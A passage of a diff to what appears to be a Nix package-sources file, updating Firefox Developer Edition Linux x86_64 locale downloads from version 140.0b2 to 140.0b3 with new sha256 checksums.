       arch = "linux-x86_64";
-      sha256 = "f73ac36adeae16e5b0a383dd65ccde3946072de55094b52259cf96b5ee78d732";
+      sha256 = "b0d8aff50786434a3b6b80edff341d41d9ed818304d751edd7c7d53170648260";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "ab17cf4f447bc681649903aca837c950f62e7fee004eaaa9fc2c894f6d001891";
+      sha256 = "8f54302d625b89f1db74c8f3d5025ffe8971e3a43b39a3cecd7c32c37f3b4725";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "6f61eb153692e3de7bf83da4670c44d524aee1761aec5c8e54c9fef3ac843d72";
+      sha256 = "4529ff104a621c97840449faab5b03fb8f3916997423ee63db602225c8372ec9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "1ad06fdea8283a58544922066eedb16801d07ad7ed72cc6fc817a33f36741e69";
+      sha256 = "9a0e3cd09ad714af64d65afae373ef239f9c4c469d6293d3c57d8abfb1b3027c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "79963ea997d12e82e245364556fd7c4deceacdaeb1e0c7e4376c7e10df6d5eca";
+      sha256 = "03c07d9194c3ee8fe333277c6db6aedbb31a5fe7de6fc220ef874ca01ccc38fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "cc966099a59e66bfddfae99a9a5874490ed5716fd5af99b9db03e3f13125dd80";
+      sha256 = "8f78062de562b3ad21380d2f83025d9becdeb690067e349e2f4a8d91444c929e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "ad8b1bf472d0a377fea8e0f5b532a144b397d1447ae85c7c14f871d9029cab19";
+      sha256 = "fadb26f00d4242ab739c7a7882694334334f2f302daafd6cc27f1501cacc7b09";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "296e93456cc6e9027d187ca7b59923acd330066b36829f8140ca16d4ec423d20";
+      sha256 = "a7914688687d6af80ace9d06f25c94c61de73b2503cc159218d7aaf72e32d033";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "9269d0e584c4d004d6cb2c6f3d3859329947fada0413141b77cab3e4270e594d";
+      sha256 = "c6f2b792311d762f65705850224ed4c602506d015e09f8a7111600228f9d1b62";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "02a5f409e51ec0010f551afde246a7b405a642fbdc9c85e8e021c7bbacc298b0";
+      sha256 = "03ea78dba2c87986d50969b290efad780cda9489446f85ac1ba2bb0ad6296288";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "89a1e5d4e8d81ed4c3e2b0db3cb82acfe85f00c7875a993d9ef97a895a2c1e8e";
+      sha256 = "ea9c38f732307ad4754efe2c226339f89c0c6b5769e5fc268a72ffae7cde9ac7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "feb7014dad2848a0e70bf2cb6f59fd7cbe4526566e9517ca636c7f81af1fd227";
+      sha256 = "c531eb2057c40f2d455f14436e6cf16a034cf49a1b4b90c5faba395914c03128";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "d8c21f84f555a7ed705d7a21098151195a18a1ceeb8838a6204aa8b346e3b77e";
+      sha256 = "4708706d7c14f88d3817396b707efbb6d2f1e89a86a883ee4696f1cbbefdb16d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "df6870ff18a549566f89c864349f6e1b1be1e996af61a23f6ba8c8ebdc43ea99";
+      sha256 = "839db9631d3c62afb20e01021f6b40a0e363a0769b3aaa8ada93a54a6e7eeb59";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "800b0a1ca94fdb9bf745c163053816152a62bfc374682fcb46920c281de24c7b";
+      sha256 = "da0eaeba745c98c328dfdffbbcdb736592e2d954cdb4fdd7cfb118022cf41589";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ga-IE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "60d3d9b322ed276db8495119171dbc822dac0720fa67d6e0e2417d5f7d903303";
+      sha256 = "f6450fe5f26a8982d203f40ede0c4078616aa64b4e38cdc3469d0761c66b6a42";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "fdc316f98f0b7c6c58e11a85df0596763276f506b224a79c17314bbcedd76b18";
+      sha256 = "f8ed572d188f31f3eed7611e066d5cc69cc3bedb7343f363636d69de90d7232d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "3f541084a75bfd470f9684ff0e9c64566ae1ae70ec6cab992f641d1ea711f56f";
+      sha256 = "c6b70f14ef92d23bb6cebbf5dcaf02109de4c394aa1cafc31e40debbcbb1bff5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "403181843d5b8b0a511fb1c8526ac04938750ea19ce5bea725c6f6e67aab4cd9";
+      sha256 = "8dd15122d585c9fdf62e8e621f57aa23a836735c2d9c4fb9fafae0b70f6df657";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "a0a75e18c30ba231bbb8696d47f203f35800bfa945b010e4b67102e9ea995a57";
+      sha256 = "601ac9297c27b22c4cd98418dda1c74aeddf053370e23b81350f36a0b205f0e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "da0a1845ead82dbec393b3951ddfb050ea7b1eddf07d1dd52c6ea3941629373c";
+      sha256 = "e824e40a538a6a0edde1829356553068adc5e45ca374ac85872f08db0e6486c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "9cfca47a6e5c5ce56679575657cc52da56a04cbdfeba9fdde7eed2f7dca21e01";
+      sha256 = "d6702ab83ff039ebb36fe821f2d709db2931ac4eb548962b040efc198e259733";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "e2412f9401f913fb3f78c68c242ed2bc7727e4798145f6d78e7ea7bb1e2330b4";
+      sha256 = "7bfca4956e083d6f38d3933ab86a10148e0cc03778c3b2f6c9e3d61612a99b1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "eef6641537eb1902fb5c80f85c028012151a864a011d87dfabdfff4860adcdea";
+      sha256 = "eba453fc2a0e9aec31ba386075e7f7cf242f4fb2833405c8afe698541d636b4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "338ce874b6b6e7c18c805488eddbaae60cc0070dede2768e1fe8bd807efa858c";
+      sha256 = "f9fac27391f5153cb58d346b82bc4573fd57d5c7ed07e7b72c6a11e7acfc2ac8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "fce3954dab579911bc3f3f2daa4139b6567ec48ba209119fa7a890835abb25b8";
+      sha256 = "1ffeb772517aa1e6f9e6f08d555af0971c4b9fcf3cb8bfc5bebaf29a338cda4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "cd252dfb69f3c202f6a10a1f94a3958474b281c5648c86fe1fd7058f1cc0daf4";
+      sha256 = "1aa3caf5120a9820b9edcacb6298c878581caf93b302ac4220e4728ede2ccf8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "c4110ddcbb1ffe4ef89423626887c8f2f093c26e449f109eeec04e23c8f86f82";
+      sha256 = "2980f208cf2aa93820ae71ac0b2e6fdde04f1415696d3f567df0493a24808450";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "27093bd2b6373dc87174473b087afa19fb9073978819157adca9afac9c1b01a7";
+      sha256 = "183bb6118e8662225778d20e17913afa0879940a5999a0460bf9ba9ae68d5f2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "d7cd7f8f77550be23ac2f834ec892711bdfd40301eb60eb8041b6373881a8063";
+      sha256 = "f416fe140d45ed47aa0c02360293d523aafb1492807685b3cc2dc4bc09420272";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "547d409c2fae32d519b85a0ecaa4fa798035de83a99a24b8679841450816e918";
+      sha256 = "b6a34c1e539480a7b8ca0c4bd090860b5015a34640682b160a39d69cdb5673c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "7c8283de2bd1b175da442f54374737d1c483714ff5a65614393a831d87da5587";
+      sha256 = "793231033ad0ad9fcce4e8aa4ee879cc17633141e1c20a1fe90882206725df95";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "f79764adead47510e6af35e084c4bc23e550a07d700e9bf315825eaab019da2e";
+      sha256 = "087e30c622398a27a3e347f9f459e6848c20f2597cfa4c4c98c8fec80693f656";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "efafd746dbcc752c401d19475513a567cbd334f6ea3f9d64470bb5e1f67bf443";
+      sha256 = "52b8b0c10f32c536812c0cf845c41d7c95c4b8c8f9d9a3dede5d825f1ec8c0f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "5f06885bc54c63e176f521e39030a5cc6efa850a49b1329a06332881143d9d56";
+      sha256 = "4e7fcf965198dd9baee10c5b63dcea3216d1a2b83c020983dae93cdf5ced4d0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/kn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "2af7d765a6093ad174cfb34b89782d6c0ce17555d6b12650ac9e17f4fd383d87";
+      sha256 = "a89e05fc8332f57dbf410ba11decf426bf10f3b71e1163956f7f7c404da51d6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "7ebf5fda02c87f0eeae2036ba3ef26f166cddc131ee165ae4e18c50e69ed676f";
+      sha256 = "4ca7970f60c7a95fd5c58f53cf68906034ef1ca262927eb73cb1cb0d216500fb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "c864a48999305e753d72ece78900eb7a97a3dad8eedfc8a72374c58f1d5227ba";
+      sha256 = "748419cd7a0dd5581c7d47834eac40137230b2f463fda146719101f01c664336";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "04d711be33f1fae9366442584a7f2bbffd74fc3b3854728db5dcce37e50f31c1";
+      sha256 = "0bbb8a4755356624b4aa9eedf6c483ff6dac7117ad1eceeac01a85960c9b8f02";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "1568ed415833621077555b9c9ab1341882ec1f8f1ba17c596d51bbf40bace3bf";
+      sha256 = "391c3656a3656666d85f84b2130ec5946bea5b70e409bf500ded2f375944a683";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "f7fab263b90e197038ced58d845c8ff1220d4b7b10dc2afa3265ad0027856353";
+      sha256 = "07dd87129e2c65cc05f8c300b4e2d9ad23f6dc3e3a9f7cc0b7851b4cfbf23808";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "6e7b7b1d9977bc6d4462e08ed6e2a49ce22dcc8ae408dcc832f63d04b878e5e8";
+      sha256 = "143796cc2bbc47cd13ca690b3c3538f0699a677d9019bb05d613543fb8d5723f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "17306a80a5bbbaa00ca9c1bb3717f25c49ed94c18c58c751c01292e8a92e8a03";
+      sha256 = "f6af941b3f4acfb38e6ada2fe3f79ec1c8870c70420ad3e1ef21247fa4970225";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "eff89fa784ad8b0f039fa182ed67159aca185093402ddbf33752ef327bb4dd43";
+      sha256 = "cbe571d5680cc82942da8c7271c2a3432198664338680ae39d436823f526bd55";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "cddb858d97fd0206ad5b138d41d29acff16199b35cd6fcbe1c70d3ca126da3e5";
+      sha256 = "279bc36eb72990932f211ea33903708d883481df7167a84b87e8f2c6153f575b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "291570b761874ce5146d1282972abde6da445c7cf63be89f3d4a2abb5ae52369";
+      sha256 = "311345680b6d327992c6e18c26e6d38dffc07b85194c8a7d3b9b2fc49989c755";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "00139cb8cc6c4c5f6f478c476ffc00450d57ba239288462bd296b72aee205562";
+      sha256 = "8c67cfc7478113cd961771ef3c0d2be125c64f002dc10458bef7f17d83543fee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "1c3f80cd5e39d450564a7266a58104e117f892243a5166ba6a5c79a12371cb66";
+      sha256 = "2831b4d2d63a1e3029bc8a29b4cf35b011a43ee46b2d2ab8ab50abbc16d95d82";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "6fafc879c80e60d49c32b7752dce41906213132e3a19e3eaef5edeccb2d6b389";
+      sha256 = "79cdcdad5622b3a3ac4742b8021146554e7f6a6f1cd86a6c48b7e9505f85e0dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "c7bf8f30d961adcd6b560d855357a0503bfb5ffa0295ced4f92f6e7b6f0c63b2";
+      sha256 = "a21f05f7753ca70cd08d60ebad30cdeb32e64e135a401072f415fd76599e9606";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "43345fd177e16fda3bead11b3e6c094ce947b4913d401c2d849b13607d8f1474";
+      sha256 = "eeebfc01a29a2bd07adc10f4921adc892e558b1704cc4d8f0d739ebb715ad90f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "8d20b449e1f5dec93f7526bddcb01682478df46b7d6b647235f94d86ff47327d";
+      sha256 = "a90b73e1e8857201a633d70e520796b6db1f52f6ef5e59cbd76b39d491a02179";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "0f9febcfb684ea28734508fa27dcbb89282174c8ab04fca0d99adb2596b1bb08";
+      sha256 = "f4bb8f65e03fedb3b17771d55c4c0906e2902f1dfa6a93d8d0c7a7f2a32990a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "505a664aa0b5eb7fb919437655f807f87224ca346bdde982eaa6bc755e14bae1";
+      sha256 = "3b0e0ccea7d9cef4a3fe1daff20d1e3902b9efeb08c8a9aa406ca2be2602de48";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "fe1317999e0d07e634f4da7813e25d553844339ef484d055115be201d351c94d";
+      sha256 = "2571da74920d477bf003120dc5a654544037374d0373697417433f6caf82ded5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "45808d9eaff267c7aa5263291352f459e30988e00a3ec867ac0e4eb9e3fa5828";
+      sha256 = "030badf2ca2e23a9a475c1327c50547c7284eef1597a615caa8409c492b66bc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "e2ddcf9086a5aab8039b2ee40264ea5349bf27f424c8cebfd8d3f8be64b4812c";
+      sha256 = "85c67e09291d12003e6460059537e24d037a955e9f3a747b1adddcce9826d2dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "6c10bf086c38c7f030cd1ac37ddeee3e7900262367a26d873f1130f1b1a3fa1a";
+      sha256 = "ef28329016e4f2cb0ada2aa55e915bc1bf5b4be18c837fb7cdf029e445fff7f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "fc5a205155469cdd157423b526c5ddbb8ef6619518543d0a13138e4548902c98";
+      sha256 = "d033ac9b10892677a03d6988c2eeb0812da47dab91b82f4c6b4a47748fe9078a";
     }
     {
